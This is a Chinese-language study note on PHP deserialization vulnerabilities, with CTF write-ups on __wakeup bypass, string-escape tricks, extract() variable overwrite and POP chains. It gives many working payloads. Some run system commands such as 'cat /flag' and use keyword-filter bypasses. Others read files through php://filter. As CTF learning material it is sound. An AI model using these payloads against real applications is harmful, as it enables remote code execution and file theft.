整理php序列化相关知识点以及在CTF中的实例。
类可能会包含一些特殊的函数叫magic函数,magic函数命名是以符号“_”开头的,这些函数在某些情况下会自动调用。
有时候需要把一个对象在网络上传输,为了方便传输,可以把整个对象转化为二进制串,等道道另一端时,再还原为原来的对象,这个过程称之为串行化(也叫序列化)
在php中,使用serialize()函数进行序列化,使用unserialize()函数进行反序列化
O:4:"User":2:{s:3:"age";i:18;s:4:"name";s:4:"Mike";}
利用反序列化漏洞,取决于应用程序的逻辑、可用的类和魔法函数。用户可控,攻击者可以构造恶意的序列化字符串。当应用程序将恶意字符串反序列化为对象后,也就执行了攻击者指定的操作,如代码执行、任意文件读取等。
1._wakeup()魔法函数绕过:
触发条件:在反序列化字符串中对象属性个数的值大于实际属性个数时(变量名),可绕过wakeup泛法。(PHP5<5.6.25;PHP7<7.0.10版本存在wakeup的漏洞)
2.正则绕过:可以用+号来进行绕过,+号添加位置-->类名个数
例如:O:4:"Demo":1:{s:10:" Demo file";s:8:"fl4g.php";}
O:+4:"Demo":1:{s:10:" Demo file";s:8:"fl4g.php";}
1.在反序列化函数可控情况下,若服务端存在替换序列化字符串中敏感字符,如:通过修改变量名等个数,造成与实际变量值个数不一致,而反序列化自身机制要求一定要满足字符串长度,则可以通过构造增加减少字符,来达到字符串逃逸。分为两种情况:1.字符增加 2.字符减少
2.存在可以字符串逃逸的情况,在源代码中大多会有preg_replace函数,第一种情况可能是将黑名单的词替换成更长的词,第二种情况可能是将黑名单的词替换成空或者更短的词。 所以针对两种情况,字符串逃逸有两种解题思路
3.字符增加思路:
1、先构造恶意的序列化字符串,计算该字符串长度
2、再看自己想要构造的语句,进行分析看自己要逃逸出多少字符,在可以控制的参数(一般是pre_replace针对过滤的那个参数)通过增加变量值进行字符串逃逸。
4.字符减少思路:
大佬wp:
有两种方法:键逃逸和值逃逸。
1.值逃逸。需要有两个键值对,第一个值被过滤后覆盖后一个键,这样第一个键往后找值,而第二个值种自己有键值对单独存在,这就逃逸出去了。
2.键逃逸。只需要有一个键值对,直接构造会被过滤的键,则序列化后的值有一部分充当键,一部分充当值。
1.POP(Property-Oriented Programing):
简单理解:
A->B B->C A->B->C 函数和类依靠调用进行执行,通过操控A间接操控C
kali dirmap 安装与使用
使用dirmap扫描发现访问/www.zip成功得到备份文件
2.尝试输入flag.php中的flag,发现错误
3.php源码分析,发现程序通过get获取select参数,对参数进行反序列化。
--> wakeup(),他将username便问guest -->之后进行析构函数destruct(),程序结束。
只有当username==admin时,才会输出flag,所以需要绕过wakeup()魔术方法。而且需要满足password==100。
利用上面提到的:当反序列化时,当前属性个数大于实际属性个数,就会跳过wakeup()方法,去执行destruct()
<?php
class Name{
private $username='admin';
private $password='100';
}
$a=new Name();
$str=serialize($a);
print_r($str);
?>
4.绕过__wakeup(),参数数量大于实际参数数量,将2修改为>2的参数,而且由于这个变量是private修饰,所以需要加上%00充当空格
payload:
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}
1.页面显示源码,分析源码, 发现程序通过get获取str参数,经过is_valid()过滤对参数进行反序列化
-->is_valid()要求传入的str参数的每个字符的ASCII值都在32和125之间。因为protected属性在序列化之后会出现不可见字符%00*%00,%00的ASCII值为0,无法通过is_valid()。绕过方法,将属性改为public。
-->之后进行析构函数destruct(),对op参数进行强比较,而在之后进行的process()中,op==2是弱比较,为了使后面可以运行read()实现文件读取,绕过方法是使传入的op是数字2(int类型),从而使第1个强比较返回false,第2个弱比较返回true
==只是对值的比较,若有一方为数字,另一方为字符串或空或nul,均会先将非数字一方转化为0,再做比较。
而===则是对值和类型的比较
<?php
class FileHandler {
public $op = 2;
public $filename = "flag.php";
public $content = "Hello World!";
}
payload:
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:12:"Hello World!";}
2.查看源码,得到flag!!!
1.使用bp可以看到程序通过post请求传递了两个参数:func和p,尝试传入file_get_contents获取index.php的源代码
2. 分析源码,发现程序先是有func的黑名单进行过滤,-->gettime()使用了call_user_func()执行函数func
黑名单中过滤很多执行函数,所以需要利用反序列化漏洞
<?php
class Test {
var $p = "ls /";
var $func = "system";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$a=new Test();
echo serialize($a)
?>
1.题目显示了源码,进行代码审计:需要传入序列化字符串,里面用preg_match过滤了cat、tac、more、tail、base关键词,需要绕过。
payload1:
unser=O:4:"evil":1:{s:3:"cmd";s:4:"ls /";}
2.cat被过滤,可以用很多方法绕过
payload2:
# 引号绕过
## c\at
unser=O:4:"evil":1:{s:3:"cmd";s:35:"c\at /th1s_1s_fffflllll4444aaaggggg";}
## c``at
unser=O:4:"evil":1:{s:3:"cmd";s:36:"c``at /th1s_1s_fffflllll4444aaaggggg";}
## c'at'
unser=O:4:"evil":1:{s:3:"cmd";s:36:"c'at' /th1s_1s_fffflllll4444aaaggggg";}
## c"at"
unser=O:4:"evil":1:{s:3:"cmd";s:36:"c"at" /th1s_1s_fffflllll4444aaaggggg";}
# 其他命令代替
## sort
unser=O:4:"evil":1:{s:3:"cmd";s:35:"sort /th1s_1s_fffflllll4444aaaggggg";}
## head
unser=O:4:"evil":1:{s:3:"cmd";s:35:"head /th1s_1s_fffflllll4444aaaggggg";}
## nl 显示的时候,顺便输出行号
unser=O:4:"evil":1:{s:3:"cmd";s:33:"nl /th1s_1s_fffflllll4444aaaggggg";}
1.页面显示源码,分析源码,程序通过get请求传递了3个参数,text,file,password。text需要写入数据等于"welcome to the zjctf",于是用data://协议写入数据。file会匹配flag过滤,提示有useless.php,尝试用php://filter查看源码。password则是利用反序列化漏洞。
payload1:
?text=data://text/plain,welcome to the zjctf&file=php://filter/convert.base64-encode/resource=useless.php
2.得到一段base64编码,解码后得到useless.php的源码,因此传入序列化字符串,查看源码得到flag!!!
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
payload2:
?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
1.页面显示源码,分析源码,发现程序通过get传入f参数,如果是highlight_file则显示index.php的源码,如果是phpinfo则显示php相关信息(提示也许可以找到相关信息),发现有可疑文件d0g3_f1ag.php,应该是flag的文件名,如果是show_image则对$_SESSION进行反序列化
2.源码中使用了extract()方法,它容易导致变量覆盖漏洞
1.变量覆盖漏洞介绍:
变量覆盖就是通过外部输入将某个变量的值给覆盖掉。将自定义的参数值替换掉原有变量值的情况就是变量覆盖漏洞。
2.常见的可导致变量覆盖的函数或者因素有:
- register_globals
- extract()
- parse_str()
- mb_parse_str()
- import_request_variables()
- $$
所以extract()变量覆盖后,原先的值会删去,然后重新添加变量。但是在源码中文件读取是应用在$userinfo["img"]-->$_SEESION["img"],它是在extract变量覆盖后赋值的。所以这里需要利用到字符串逃逸和源码中filter函数。
3.这个也是字符串逃逸的,但是是字符减少。根据上面的知识点有两种方法:值逃逸和键逃逸
因为我们需要修改$_SEESION["img"]值为d0g3_f1ag.php,而且源码后面会有base64解码,所以这里的值需要为d0g3_f1ag.php的base64编码值。
payload1: ### 值逃逸
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:3:"ddd";s:1:"a";}
payload2: ###键逃逸
_SESSION["phpflag"]=;s:1:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
4.然后查看源码可以发现提示了flag所在路径,将base64编码值换成flag所在路径即可得到flag
payload3:
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";s:3:"ddd";s:1:"a";}
1.题目直接给出了源码,分析源码可以看到有可以利用的危险函数system,但是$cmd已经提前赋值,只能执行whoami,所以我们要想办法将whoami给覆盖,换成我们想要的:cat /flag。
2.所以这里要利用字符串逃逸,因为str_replace函数会将bad替换成good,多出1个字符长度,属于字符增加的类型。这里有个公式,含有bad的字符串长度+payload1长度=过滤后的good字符串长度。
3.根据以上公式,payload1长度为29,所以需要29个bad,过滤后多出29个字符长度正好替换掉payload1,使得payload1替换原来的序列化字符串,执行system函数得到flag。
payload1:
";s:3:"cmd";s:9:"cat /flag";}
payload2:
?key=badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:9:"cat /flag";}
1.分析源码,有三个类Modifier,Show,Test,如果存在pop get请求参数,则进行反序列化,否则则创建一个show对象,显示welcome to index.php
Modifier中的__invoke()是在尝试以调用函数的方式调用一个对象时触发。
Show中__toString()在类被当成字符串时触发,而且这里的$this->str->source,str不是show类的参数str,而是一个对象
Test中的__get()在读取不可访问(protected或private)或不存在的属性时触发。
所以需要Modifier中的append方法中的include函数把flag.php包含进去。而用到append方法的是__invoke()函数,想要用到__invoke函数,需要调用Test里面的__get方法,因为return $function()是以函数的方式调用一个对象,会触发__invoke()方法。最后只要访问不存在的属性即可调用__get方法
反向的思路如下:
flag.php->append()->__invoke()->__get()->toString()->定义source为类的对象
2.最终的payload
O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";s:9:"index.php";s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:6:"%00*%00var";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}}}s:3:"str";N;}
这里直接使用flag.php是不行的,要用到php://filter伪协议进行文件读取,最终进行base64解码得到flag!!!
1.打开显示题目源码,要手搓链子(参考上面的博客),先找到链尾即危险函数,在NISA类的__invoke(),把它作为1,然后往上找。按照下面代码输入就可以得到flag
<?php
class NISA{
public $fun="show";
public $txw4ever;//1 shell
}
class TianXiWei{
public $ext;//5 Ilovetxw
public $x;
}
class Ilovetxw{
public $huang;//4 four
public $su;//2 NISA
}
class four{
public $a = "TXW4EVER";//3 Ilovetxw
private $fun = 'sixsixsix';//fun='sixsixsix'
}
$a=new TianXiWei();
$b=new Ilovetxw();
$c=new four();
$d=new NISA();
// 从5到1开始写
$a->ext=$b;
$b->huang=$c;
$c->a=$b;
$b->su=$d;
$d->txw4ever="System('cat /f*');";
echo urlencode(serialize($a));
?>
这是hint的内容
1.题目打开显示源码,也是先找危险函数,找到WhiteGod类的__unset函数中的($this->func)($this->var),其中修饰符为protected或private的要改为public
($this->func)($this->var)将$this->var作为参数传递给保存在$this->func变量中的函数或方法。
<?php
class Begin{
public $name;// 6 Then
}
class Then{
public $func;// 5 Super
}
class Handle{
public $obj;// 3 CTF
}
class Super{
public $obj;// 4 Handle
}
class CTF{
public $handle;// 2 WhiteGod
}
class WhiteGod{
public $func='system';
public $var='cat /flag';//1 shell
}
$a=new Begin();
$b=new Then();
$c=new Handle();
$d=new Super();
$m=new CTF();
$n=new WhiteGod();
// 从6到1
$a->name=$b;
$b->func=$d;
$d->obj=$c;
$c->obj=$m;
$m->handle=$n;
echo serialize($a);
//这道题好像用urlencode()无法拿到flag
<?php
class Road_is_Long{
public $page;// 4 Road_is_Long
public $string;// 3 Make_a_Change
}
class Try_Work_Hard{
protected $var='php://filter/convert.base64-encode/resource=/flag';//1 shell
}
class Make_a_Change{
public $effort;//2 Try_Work_Hard
}
$a=new Road_is_Long();
$b=new Try_Work_Hard();
$c=new Make_a_Change();
// 从4到1
$a->page=$a;
$a->string=$c;
$c->effort=$b;
echo urlencode(serialize($a));